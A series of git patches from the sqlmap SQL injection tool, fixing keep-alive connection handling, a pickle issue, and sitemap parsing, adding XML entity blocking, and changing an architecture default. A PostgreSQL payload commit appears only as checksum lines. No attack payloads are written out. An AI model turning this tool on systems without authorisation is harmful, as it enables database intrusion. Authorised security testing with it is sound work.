4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 871d32e36c3..19d62fe64bd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.85" +VERSION = "1.10.2.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 2dda424e685..2a5662e4e52 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -12,9 +12,9 @@ # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the -# Free Software Foundation, Inc., -# 59 Temple Place, Suite 330, +# License along with this library; if not, write to the +# Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, # Boston, MA 02111-1307 USA # This file was part of urlgrabber, a high-level cross-protocol url-grabber @@ -28,7 +28,7 @@ >>> keepalive_handler = HTTPHandler() >>> opener = _urllib.request.build_opener(keepalive_handler) >>> _urllib.request.install_opener(opener) ->>> +>>> >>> fo = _urllib.request.urlopen('http://www.python.org') If a connection to a given host is requested, and all of the existing @@ -154,14 +154,18 @@ def remove(self, connection): else: del self._connmap[connection] del self._readymap[connection] - self._hostmap[host].remove(connection) + try: + self._hostmap[host].remove(connection) + except ValueError: + pass if not self._hostmap[host]: del self._hostmap[host] finally: self._lock.release() def set_ready(self, connection, ready): - try: self._readymap[connection] = ready - except KeyError: pass + self._lock.acquire() + if connection in self._readymap: self._readymap[connection] = ready + self._lock.release() def get_ready_conn(self, host): conn = None @@ -178,10 +182,14 @@ def get_ready_conn(self, host): return conn def get_all(self, host=None): - if host: - return list(self._hostmap.get(host, [])) - else: - return dict(self._hostmap) + self._lock.acquire() + try: + if host: + return list(self._hostmap.get(host, [])) + else: + return dict(self._hostmap) + finally: + self._lock.release() class KeepAliveHandler: def __init__(self): @@ -242,9 +250,9 @@ def do_open(self, req): h = self._get_connection(host) if DEBUG: DEBUG.info("creating new connection to %s (%d)", host, id(h)) - self._cm.add(host, h, 0) self._start_transaction(h, req) r = h.getresponse() + self._cm.add(host, h, 0) except (socket.error, _http_client.HTTPException) as err: raise _urllib.error.URLError(err) @@ -254,6 +262,7 @@ def do_open(self, req): if r.will_close: if DEBUG: DEBUG.info('server will close connection, discarding') self._cm.remove(h) + h.close() r._handler = self r._host = host @@ -261,13 +270,12 @@ def do_open(self, req): r._connection = h r.code = r.status r.headers = r.msg - r.msg = r.reason if r.status == 200 or not HANDLE_ERRORS: return r else: return self.parent.error('http', req, r, - r.status, r.msg, r.headers) + r.status, r.reason, r.headers) def _reuse_connection(self, h, req, host): """start the transaction with a re-used connection @@ -283,7 +291,7 @@ def _reuse_connection(self, h, req, host): # worked. We'll check the version below, too. except (socket.error, _http_client.HTTPException): r = None - except: + except Exception: # adding this block just in case we've missed # something we will still raise the exception, but # lets try and close the connection and remove it @@ -314,16 +322,16 @@ def _reuse_connection(self, h, req, host): def _start_transaction(self, h, req): try: - if req.data: + if req.data is not None: data = req.data if hasattr(req, 'selector'): h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - if 'Content-type' not in req.headers: + if not req.has_header('Content-type'): h.putheader('Content-type', 'application/x-www-form-urlencoded') - if 'Content-length' not in req.headers: + if not req.has_header('Content-length'): h.putheader('Content-length', '%d' % len(data)) else: if hasattr(req, 'selector'): @@ -333,20 +341,20 @@ def _start_transaction(self, h, req): except (socket.error, _http_client.HTTPException) as err: raise _urllib.error.URLError(err) - if 'Connection' not in req.headers: - req.headers['Connection'] = 'keep-alive' + if not req.has_header('Connection'): + h.putheader('Connection', 'keep-alive') for args in self.parent.addheaders: - if args[0] not in req.headers: + if not req.has_header(args[0]): h.putheader(*args) for k, v in req.headers.items(): h.putheader(k, v) h.endheaders() - if req.data: + if req.data is not None: h.send(data) def _get_connection(self, host): - return NotImplementedError + raise NotImplementedError() class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): def __init__(self): @@ -373,8 +381,10 @@ def https_open(self, req): return self.do_open(req) def _get_connection(self, host): - try: return self._ssl_factory.get_https_connection(host) - except AttributeError: return HTTPSConnection(host) + if self._ssl_factory: + return self._ssl_factory.get_https_connection(host) + else: + return HTTPSConnection(host) class HTTPResponse(_http_client.HTTPResponse): # we need to subclass HTTPResponse in order to @@ -397,9 +407,9 @@ class HTTPResponse(_http_client.HTTPResponse): def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: # the httplib in python 2.3 uses the method arg - _http_client.HTTPResponse.__init__(self, sock, debuglevel, method) - else: # 2.2 doesn't + if method: + _http_client.HTTPResponse.__init__(self, sock, debuglevel, method=method) + else: _http_client.HTTPResponse.__init__(self, sock, debuglevel) self.fileno = sock.fileno self.code = None @@ -453,11 +463,11 @@ def read(self, amt=None): def readline(self, limit=-1): data = b"" - i = self._rbuf.find('\n') + i = self._rbuf.find(b'\n') while i < 0 and not (0 < limit <= len(self._rbuf)): new = self._raw_read(self._rbufsize) if not new: break - i = new.find('\n') + i = new.find(b'\n') if i >= 0: i = i + len(self._rbuf) self._rbuf = self._rbuf + new if i < 0: i = len(self._rbuf) @@ -468,15 +478,15 @@ def readline(self, limit=-1): def readlines(self, sizehint = 0): total = 0 - list = [] + lines = [] while 1: line = self.readline() if not line: break - list.append(line) + lines.append(line) total += len(line) if sizehint and total >= sizehint: break - return list + return lines class HTTPConnection(_http_client.HTTPConnection): @@ -540,10 +550,10 @@ def continuity(url): print(format % ('keepalive read', m.hexdigest())) fo = _urllib.request.urlopen(url) - foo = '' + foo = b'' while 1: f = fo.readline() - if f: foo = foo + f + if f: foo += f else: break fo.close() m = md5(foo) From 5640ba7795bfed1a0a1f1cdf16e1b9b14be2b688 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Feb 2026 23:03:00 +0100 Subject: [PATCH 089/135] Fixing AttribDict/pickle issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/datatype.py | 2 ++ lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5c5d0a5a282..4a987277d8f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -171,7 +171,7 @@ b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigar a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -ca06a0e9d66a58e74ef994d53f9b3cd2ebaed98735bbab99854054235a8083d6 lib/core/datatype.py +6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf lib/core/dicts.py @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -bf818add365e18e378b15fb33db123d846acddc2969e05af52eacfe745cc335e lib/core/settings.py +1bc3458243a0ad82344ffffa3ae24afbe259f7130faaefe6d1c4f6c23f544446 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/datatype.py b/lib/core/datatype.py index b0b1809f8a8..15160ae4d9f 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -38,6 +38,8 @@ def __getattr__(self, item): Maps values to attributes Only called if there *is NOT* an attribute with this name """ + if item.startswith('__') and item.endswith('__'): + raise AttributeError(item) try: return self.__getitem__(item) diff --git a/lib/core/settings.py b/lib/core/settings.py index 19d62fe64bd..446f790d91a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.0" +VERSION = "1.10.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f08f860bd7c7cde99342dbe5fbb026fd815f8ae8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Feb 2026 23:32:45 +0100 Subject: [PATCH 090/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 17 +++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4a987277d8f..9f90fe7458f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,13 +182,13 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/option.py -8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762 lib/core/patch.py +9a213f91c8ad468466bd92e5e5805040f904055eb607fb2ed75b4c0e30b8accd lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1bc3458243a0ad82344ffffa3ae24afbe259f7130faaefe6d1c4f6c23f544446 lib/core/settings.py +66cbde8c76851d5e8de6b93d6dbd3cd58e4473a1f307326aa672c3628253775e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index bcd79982ec9..86a5c4e6be0 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -160,6 +160,23 @@ def _releaseLock(): logging._releaseLock = _releaseLock + from xml.etree import ElementTree as et + if not getattr(et, "_patched", False): + _real_parse = et.parse + + def _safe_parse(source, parser=None): + if parser is None: + parser = et.XMLParser() + if hasattr(parser, "parser"): + def reject(*args): raise ValueError("XML entities are forbidden") + parser.parser.EntityDeclHandler = reject + parser.parser.UnparsedEntityDeclHandler = reject + + return _real_parse(source, parser=parser) + + et.parse = _safe_parse + et._patched = True + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/settings.py b/lib/core/settings.py index 446f790d91a..ca88c0f20b4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.1" +VERSION = "1.10.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 96645deee18dcdaee35c2469f4d584cee864f63e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Feb 2026 23:48:53 +0100 Subject: [PATCH 091/135] Minor patch for sitemap parsing --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/sitemap.py | 42 ++++++++++++++++++++++++++++------------- 3 files changed, 32 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9f90fe7458f..2e974cad8aa 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -66cbde8c76851d5e8de6b93d6dbd3cd58e4473a1f307326aa672c3628253775e lib/core/settings.py +8508162b2a95e54102ee8aec95888d7e2061d73b7d0e9ecd47d4f5e22ca94820 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -206,7 +206,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py -80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py +455ab0ec63e55cd56ce4a884b85bdc089223155008cab0f3696da5a33118f95b lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ca88c0f20b4..d72d7051b5a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.2" +VERSION = "1.10.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 6081d1088c5..4324eddee26 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -17,7 +17,7 @@ abortedFlag = None -def parseSitemap(url, retVal=None): +def parseSitemap(url, retVal=None, visited=None): global abortedFlag if retVal is not None: @@ -27,6 +27,12 @@ def parseSitemap(url, retVal=None): if retVal is None: abortedFlag = False retVal = OrderedSet() + visited = set() + + if url in visited: + return retVal + + visited.add(url) try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" @@ -34,18 +40,28 @@ def parseSitemap(url, retVal=None): errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) - for match in re.finditer(r"\s*([^<]+)", content or ""): - if abortedFlag: - break - url = match.group(1).strip() - if url.endswith(".xml") and "sitemap" in url.lower(): - if kb.followSitemapRecursion is None: - message = "sitemap recursion detected. Do you want to follow? [y/N] " - kb.followSitemapRecursion = readInput(message, default='N', boolean=True) - if kb.followSitemapRecursion: - parseSitemap(url, retVal) - else: - retVal.add(url) + if content: + content = re.sub(r"", "", content, flags=re.DOTALL) + + for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): + if abortedFlag: + break + + foundUrl = match.group(1).strip() + + # Basic validation to avoid junk + if not foundUrl.startswith("http"): + continue + + if foundUrl.endswith(".xml") and "sitemap" in foundUrl.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + kb.followSitemapRecursion = readInput(message, default='N', boolean=True) + + if kb.followSitemapRecursion: + parseSitemap(foundUrl, retVal, visited) + else: + retVal.add(foundUrl) except KeyboardInterrupt: abortedFlag = True From 4af319504121370f5395c19b092ccf63b34e819c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Feb 2026 12:19:20 +0100 Subject: [PATCH 092/135] Fixing CI/CD issues with keep-alive --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/keepalive/keepalive.py | 30 +++++++++++++++++++++--------- 3 files changed, 24 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2e974cad8aa..0c5d34f4982 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8508162b2a95e54102ee8aec95888d7e2061d73b7d0e9ecd47d4f5e22ca94820 lib/core/settings.py +87350eb153acd7d278f60b5e2cabc43b7b98cdaf1642433ac3f7a55d54198b56 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -618,7 +618,7 @@ edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/ide d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py 879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py -c7ac7253fa450030f9c42f11bb19689055bb8c39621bcfbeca856ba3c9342760 thirdparty/keepalive/keepalive.py +ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998 thirdparty/keepalive/keepalive.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d72d7051b5a..10060ad66f0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.3" +VERSION = "1.10.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 2a5662e4e52..f0d592b1863 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -164,8 +164,10 @@ def remove(self, connection): def set_ready(self, connection, ready): self._lock.acquire() - if connection in self._readymap: self._readymap[connection] = ready - self._lock.release() + try: + if connection in self._readymap: self._readymap[connection] = ready + finally: + self._lock.release() def get_ready_conn(self, host): conn = None @@ -258,6 +260,16 @@ def do_open(self, req): if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) + if not r.will_close: + try: + headers = getattr(r, 'msg', None) + if headers: + c_head = headers.get("connection") + if c_head and "close" in c_head.lower(): + r.will_close = True + except Exception: + pass + # if not a persistent connection, don't try to reuse it if r.will_close: if DEBUG: DEBUG.info('server will close connection, discarding') @@ -322,16 +334,16 @@ def _reuse_connection(self, h, req, host): def _start_transaction(self, h, req): try: - if req.data is not None: + if req.data: data = req.data if hasattr(req, 'selector'): h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - if not req.has_header('Content-type'): + if 'Content-type' not in req.headers: h.putheader('Content-type', 'application/x-www-form-urlencoded') - if not req.has_header('Content-length'): + if 'Content-length' not in req.headers: h.putheader('Content-length', '%d' % len(data)) else: if hasattr(req, 'selector'): @@ -341,17 +353,17 @@ def _start_transaction(self, h, req): except (socket.error, _http_client.HTTPException) as err: raise _urllib.error.URLError(err) - if not req.has_header('Connection'): + if 'Connection' not in req.headers: h.putheader('Connection', 'keep-alive') for args in self.parent.addheaders: - if not req.has_header(args[0]): + if args[0] not in req.headers: h.putheader(*args) for k, v in req.headers.items(): h.putheader(k, v) h.endheaders() - if req.data is not None: - h.send(data) + if req.data: + h.send(req.data) def _get_connection(self, host): raise NotImplementedError() From 4a913d2ab1c7397eeedbfc06476f43547255bbb7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Feb 2026 22:23:23 +0100 Subject: [PATCH 093/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0c5d34f4982..0a494a619cd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -3b2ca69b7a2e07f6db2fed2651c19e401f62e2068ea3b5f8f96ebf0ff067f349 lib/core/common.py +503466d627e7425b4d1a65f4a3abfb8412128de7c146cec711e093cc58d6fa64 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -87350eb153acd7d278f60b5e2cabc43b7b98cdaf1642433ac3f7a55d54198b56 lib/core/settings.py +6163a28ddf6f507a8d8e3001ec169ebd9713e5471b450bf3ba561ff4d84c4175 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 24ca3276332..61d05edc989 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -463,11 +463,11 @@ def setOsServicePack(sp): @staticmethod def setArch(): msg = "what is the back-end database management system architecture?" - msg += "\n[1] 32-bit (default)" - msg += "\n[2] 64-bit" + msg += "\n[1] 32-bit" + msg += "\n[2] 64-bit (default)" while True: - choice = readInput(msg, default='1') + choice = readInput(msg, default='2') if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2): kb.arch = 32 if int(choice) == 1 else 64 diff --git a/lib/core/settings.py b/lib/core/settings.py index 10060ad66f0..366bca45331 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.4" +VERSION = "1.10.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ea0783d3817af43d376cd2e4e25d41836faf9118 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Feb 2026 23:44:05 +0100 Subject: [PATCH 094/135] Minor update of PostgreSQL aggregate payload --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0a494a619cd..f6d87213331 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6163a28ddf6f507a8d8e3001ec169ebd9713e5471b450bf3ba561ff4d84c4175 lib/core/settings.py +c811fffa88aa0deb40e6da2854b8705eec75ef6375a760535c71c21a8cde98f7 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -240,7 +240,7 @@ f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -a17c1d201bd084de0093254bcd303aa859399891de13a7259e8c200e98294efb lib/techniques/union/use.py +a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0 lib/techniques/union/use.py 67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83 lib/utils/api.py ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949 lib/utils/brute.py 